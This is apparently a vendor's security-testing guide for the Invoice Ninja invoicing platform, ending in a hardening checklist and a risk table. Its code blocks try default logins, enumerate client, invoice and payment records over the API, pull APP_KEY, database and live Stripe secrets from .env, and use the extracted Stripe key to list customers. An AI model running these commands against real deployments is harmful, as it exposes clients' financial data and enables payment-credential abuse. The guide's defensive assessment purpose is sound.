Invoicing Platform Security Testing

Invoice Ninja Security Testing: Default Credentials, API Token, Database, and .env APP_KEY

📅 July 3, 2026 ⏱ 12 min read 🏷 Invoice Ninja, Invoicing Security, Laravel APP_KEY, API Token, Stripe API Key, .env Credentials, Client Financial Data

Invoice Ninja is a widely deployed open-source invoicing, billing, and payment platform built on Laravel (PHP), used by freelancers, agencies, and businesses to manage client invoices, track payments, and process credit cards via Stripe, PayPal, and other payment gateways. It stores highly sensitive financial data. Key assessment areas: Invoice Ninja's .env file stores the Laravel APP_KEY (encryption key for client tax IDs and payment tokens), DB_PASSWORD (MySQL credentials), and live payment gateway API keys including STRIPE_SECRET; the REST API provides access to all client records, invoices, and payment history; Invoice Ninja's multi-company (multi-tenant) architecture separates data by company_id which must be validated as a real isolation boundary; and client-facing payment URLs may expose invoice data without strong authentication. This guide covers systematic Invoice Ninja security assessment.

Authentication and Default Credential Testing
REST API Financial Data Enumeration
.env Payment Gateway Credentials and APP_KEY
Invoice Ninja Security Hardening

Authentication and Default Credential Testing

# Invoice Ninja — authentication and default credential testing
NINJA_URL="https://invoices.example.com"

# Invoice Ninja creates the first admin account during setup wizard
# No universal default — test common setup passwords and emails
curl -s -X POST "${NINJA_URL}/api/v1/login" \
  -H "Content-Type: application/json" \
  -H "X-Api-Secret: YOUR_API_SECRET" \
  -d '{"email":"admin@example.com","password":"admin","one_time_password":""}' \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
if data.get('token'):
    print(f'AUTH TOKEN: {data[\"token\"]}')
    user = data.get('user',{})
    print(f'User: {user.get(\"first_name\")} {user.get(\"email\")} admin={user.get(\"is_owner\")}')
else:
    print(f'Failed: {d}')
" 2>/dev/null

# Check for API token in public routes (client portal)
# Invoice Ninja client portal uses a hash key for access — check if enumerable
curl -s -o /dev/null -w "%{http_code}" \
  "${NINJA_URL}/client/invoices" 2>/dev/null

# Test API with token
curl -s "${NINJA_URL}/api/v1/ping" \
  -H "X-Api-Token: YOUR_API_TOKEN" \
  -H "X-Api-Secret: YOUR_API_SECRET" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(json.dumps(d.get('data',{}), indent=2)[:300])
" 2>/dev/null

REST API Financial Data Enumeration

# Invoice Ninja REST API — client and financial data enumeration
NINJA_URL="https://invoices.example.com"
API_TOKEN="your-invoice-ninja-api-token"
API_SECRET="your-api-secret"

# Get all clients — customer records with financial data
curl -s "${NINJA_URL}/api/v1/clients?per_page=100" \
  -H "X-Api-Token: ${API_TOKEN}" \
  -H "X-Api-Secret: ${API_SECRET}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
meta = d.get('meta',{})
print(f'Clients: {meta.get(\"pagination\",{}).get(\"total\",len(data))}')
for c in data[:10]:
    print(f'  [{c.get(\"id\")}] {c.get(\"name\")} email={c.get(\"contacts\",[{}])[0].get(\"email\")} balance={c.get(\"balance\")} paid_to_date={c.get(\"paid_to_date\")} currency={c.get(\"currency_id\")}')
" 2>/dev/null

# Get all invoices — complete billing history
curl -s "${NINJA_URL}/api/v1/invoices?per_page=100&status_id=1,2,3,4" \
  -H "X-Api-Token: ${API_TOKEN}" \
  -H "X-Api-Secret: ${API_SECRET}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Invoices: {len(data)}')
total = sum(float(i.get('amount',0) or 0) for i in data)
print(f'Total invoiced amount: {total:,.2f}')
for i in data[:10]:
    print(f'  #{i.get(\"number\")} client={i.get(\"client_id\")} amount={i.get(\"amount\")} status={i.get(\"status_id\")} due={i.get(\"due_date\")}')
" 2>/dev/null

# Get all payments — transaction records
curl -s "${NINJA_URL}/api/v1/payments?per_page=100" \
  -H "X-Api-Token: ${API_TOKEN}" \
  -H "X-Api-Secret: ${API_SECRET}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',[])
print(f'Payments: {len(data)}')
for p in data[:10]:
    print(f'  [{p.get(\"date\")}] client={p.get(\"client_id\")} amount={p.get(\"amount\")} type={p.get(\"type_id\")} transaction_ref={p.get(\"transaction_reference\")}')
" 2>/dev/null

.env Payment Gateway Credentials and APP_KEY

# Invoice Ninja .env — payment gateway credentials and APP_KEY

# .env — all sensitive credentials
cat /var/www/html/invoiceninja/.env 2>/dev/null | \
  grep -E "APP_KEY|DB_PASSWORD|STRIPE_SECRET|PAYPAL_SECRET|MAIL_PASSWORD|DB_USERNAME|DB_DATABASE"
# APP_KEY=base64:xxxx — Laravel encryption key
# DB_PASSWORD — MySQL database password
# STRIPE_SECRET=sk_live_xxxx — LIVE Stripe secret API key (enables charge creation)
# PAYPAL_SECRET — PayPal API credentials

# STRIPE_SECRET — live key allows creating charges, listing customers, and refunding payments
STRIPE_KEY=$(grep STRIPE_SECRET /var/www/html/invoiceninja/.env 2>/dev/null | cut -d= -f2)
if [ -n "$STRIPE_KEY" ]; then
    curl -s "https://api.stripe.com/v1/customers?limit=10" \
      -u "${STRIPE_KEY}:" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
customers = d.get('data',[])
print(f'Stripe customers (via leaked key): {len(customers)}')
for c in customers[:5]:
    print(f'  {c.get(\"name\")} email={c.get(\"email\")} created={c.get(\"created\")}')
" 2>/dev/null
fi

# MySQL direct access — clients, invoices, and users
mysql -u ninja -p"DB_PASSWORD" ninja 2>/dev/null << 'EOF'
-- All user accounts
SELECT id, first_name, last_name, email, is_owner, account_id, created_at
FROM users WHERE deleted_at IS NULL
ORDER BY is_owner DESC, id
LIMIT 20;

-- Client financial summary
SELECT c.id, c.name, c.balance, c.paid_to_date, c.credit_balance
FROM clients c
WHERE c.deleted_at IS NULL
ORDER BY c.paid_to_date DESC
LIMIT 20;
EOF

Invoice Ninja Security Hardening

Invoice Ninja Security Hardening Checklist:

Protect the .env file and rotate payment gateway credentials if exposed — Invoice Ninja's .env contains APP_KEY (Laravel encryption key for encrypted database fields and session signing), DB_PASSWORD (MySQL database password), STRIPE_SECRET (live Stripe secret key enabling charge creation, customer listing, and refund processing), PAYPAL_SECRET, and MAIL_PASSWORD; a STRIPE_SECRET exposure is immediately monetizable — the Stripe secret key allows listing all customer payment methods, creating new charges, and initiating refunds; rotate the Stripe secret key immediately if .env has been accessible; restrict .env to 600 and configure the web server to deny direct HTTP access to the file
Secure the APP_KEY and audit encrypted field exposure — Invoice Ninja uses Laravel's Crypt facade to encrypt client tax IDs, gateway tokens (stored payment method references), and other sensitive fields; if APP_KEY is known, all encrypted fields can be decrypted; APP_KEY also enables session cookie forgery (forge a cookie as any user including account owners with access to all invoices and payment methods); rotate APP_KEY with php artisan key:generate if it has been exposed; store APP_KEY in a secrets manager rather than .env in production environments with secret scanning requirements
Restrict API token access and use read-only tokens for integrations — Invoice Ninja API tokens provide full access to all clients, invoices, payments, and credentials accessible to the token owner; admin tokens provide access to all company data; restrict API access to authorized IP ranges at the web server level; use the most restrictive account role sufficient for each integration (invoice creation only vs. full admin access); revoke unused API tokens; invoice Ninja V5 supports company-level API tokens — audit which tokens have company owner vs. employee access
Validate multi-company data isolation — Invoice Ninja's multi-company (multi-tenant) feature allows multiple companies to share one Invoice Ninja instance, with data separated by company_id; verify that API responses correctly filter by the authenticated company and do not leak cross-company client, invoice, or payment data; test by authenticating as a user of Company A and attempting to access clients or invoices using IDs belonging to Company B; company_id validation failures can leak all financial data from other tenants on the same instance
Secure the client-facing portal and payment URLs — Invoice Ninja generates client-accessible invoice links using an invitation key (a random hash); these links allow clients to view their invoices and make payments without a full account login; audit the randomness and length of invitation keys; if invitation keys are short or predictable, unauthorized parties may access invoice data; implement expiration on client portal links; restrict the client portal to specific IP ranges if clients are known corporate entities; monitor for unusual access patterns to client portal URLs

Security Test	Method	Risk
.env STRIPE_SECRET live payment gateway key extraction	Read .env STRIPE_SECRET — live Stripe secret key; enables listing all Stripe customers and payment methods, creating charges, and processing refunds directly via Stripe API without Invoice Ninja access	Critical
.env APP_KEY Laravel encryption key extraction	Read .env APP_KEY — decrypts all Crypt::encrypt() fields including client tax IDs and stored gateway tokens; enables session cookie forgery for any Invoice Ninja user	Critical
REST API client and invoice financial data enumeration	GET /api/v1/clients — all clients with balances and payment history; GET /api/v1/invoices — all invoices; GET /api/v1/payments — all payment transactions with references	Critical
Multi-company data isolation bypass	Authenticate as Company A, request /api/v1/clients using Company B resource IDs — if company_id filter is missing, cross-tenant financial data access	Critical (if present)
.env DB_PASSWORD MySQL credential extraction	Read .env DB_PASSWORD — direct database access to all client, invoice, payment, and user records including password hashes and stored gateway tokens	Critical

Automate Invoice Ninja Security Testing

Ironimo tests Invoice Ninja deployments for .env STRIPE_SECRET live payment gateway key extraction and abuse, APP_KEY Laravel encryption key exploitation, REST API client financial data enumeration including balances and payment history, multi-company data isolation bypass testing, client portal invitation key enumeration, DB_PASSWORD MySQL credential extraction, payment transaction record access, stored gateway token decryption feasibility, and API token scope assessment.

Start free scan

Table of Contents

Authentication and Default Credential Testing

REST API Financial Data Enumeration

.env Payment Gateway Credentials and APP_KEY

Invoice Ninja Security Hardening

Automate Invoice Ninja Security Testing